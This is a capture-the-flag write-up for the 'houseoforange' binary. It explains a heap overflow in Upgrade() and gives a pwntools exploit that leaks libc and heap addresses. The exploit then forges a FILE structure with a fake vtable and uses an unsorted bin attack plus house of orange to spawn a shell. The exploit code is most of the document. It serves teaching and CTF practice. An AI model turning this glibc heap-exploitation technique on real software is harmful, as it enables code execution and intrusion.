0x00 Program Overall The program can Build(), Upgrade() and See() the house of orange. In Build(), the program first malloc a chunk of size 0x10 to store two address, one is color and price, and the other is the name. At the end of the Build(), a variable on bss will store the new house address and use it in Upgrade() and See(). We can use  Upgrade() and See() to update and see the newest house.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 int  Build ()      if  ( (unsigned  int )COUNT > 3  )   {     puts ("Too many house" );     exit (1 );   }   New_House = malloc (0x10 uLL);   printf ("Length of name :" );   size = InputNum();   if  ( size > 0x1000  )     size = 4096 ;   *((_QWORD *)New_House + 1 ) = malloc (size);   if  ( !*((_QWORD *)New_House + 1 ) )   {     puts ("Malloc error !!!" );     exit (1 );   }   printf ("Name :" );   InputString(*((void  **)New_House + 1 ), size);   new_price = calloc (1u LL, 8u LL);   printf ("Price of Orange:" , 8L L);   *new_price = InputNum();   Show_Color();   printf ("Color of Orange:" );   Color_Num = InputNum();      if  ( Color_Num == 56746  )     new_price[1 ] = 56746 ;   else      new_price[1 ] = Color_Num + 30 ;   *(_QWORD *)New_House = new_price;   Last_House = New_House;   ++COUNT;   return  puts ("Finish" ); } 
0x01 Program Vulnerabilities When the program calls the Upgrade(), it allows user to give it the length of the name which leads to heap overflow:
1 2 3 4 5 6 7 8 9 10 11 12 int  Upgrade ()      printf ("Length of name :" );   v2 = InputNum();   if  ( v2 > 0x1000  )     v2 = 4096 ;   printf ("Name:" );   InputString((void  *)Last_House[1 ], v2);      return  puts ("Finish" ); } 
So, use unsorted bin attack and house of orange to get the shell.
0x02 Pwn! First we need to use heap overflow to trigger _int_free() in sysmalloc() to leak the libc address.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def  pwn ():    p = process('./houseoforange' )     libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' )     context.log_level = 'debug'      Build(p, 0x80 , 'sunichi1' , 0x10 , 1 )           payload = 'B' *0x80  + p64(0 ) + p64(0x21 ) + p32(0x1 ) + p32(0x1f ) + 2  * p64(0 ) + p64(0xf31 )     Upgrade(p, 0x100 , payload, 0x10 , 2 )           Build(p, 0x1000 , 'sunichi2' , 0x10 , 3 )           Build(p, 0x400 , 'x' , 4 , 4 )      See(p)     p.recvuntil('house : ' )     libc_addr = p.recv(6 )     libc_addr = u64(libc_addr.ljust(8 , '\x00' ))     libc.address = libc_addr - 0x3c4b78  - 0x600      libc_base_addr = libc_addr - 0x3c4b78  - 0x600  
Second, leak the heap address.
1 2 3 4 5 6 7 Upgrade(p, 0x400 , '1'  * 0x10 , 0x10 , 5 ) See(p) p.recvuntil('1'  * 0x10 ) heap_addr = p.recv(6 ) heap_addr = u64(heap_addr.ljust(8 , '\x00' )) 
The final step is to construct the a chunk to perform unsorted bin attack and house of orange.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 payload = ''  payload = payload.ljust(0x400 , '\x00' ) + p64(0 ) + p64(0x21 ) + p64(0x2300000010 ) + p64(0 ) vtable = heap_addr + 0x410  + 0x20  + 0xc0  + 0x10  + 0x8   fake_stream = '/bin/sh\x00'  + p64(0x61 ) + p64(0 ) + p64(libc.symbols['_IO_list_all' ] - 0x10 )  fake_stream = fake_stream.ljust(0xa0 , '\x00' ) fake_stream += p64(heap_addr + 0x410  + 0x20  + 0xc0  + 0x10 ) fake_stream = fake_stream.ljust(0xc0 , '\x00' ) fake_stream += p64(1 ) + 2  * p64(0 )  fake_stream += p64(vtable) payload += fake_stream payload += p64(2 ) payload += p64(3 ) payload += p64(libc.symbols['system' ]) Upgrade(p, len(payload), payload, 0x10 , 6 ) 
Call Build() to trigger malloc(0x10) and get shell.
1 2 3 4 p.recvuntil('Your choice : ' ) p.sendline('1' ) p.interactive() p.close() 
Relevant Article https://sunichi.github.io/2018/07/02/pwnable-tw-bookwriter/ 
http://tacxingxing.com/2018/01/10/house-of-orange/ 
http://tacxingxing.com/2018/02/09/fsp/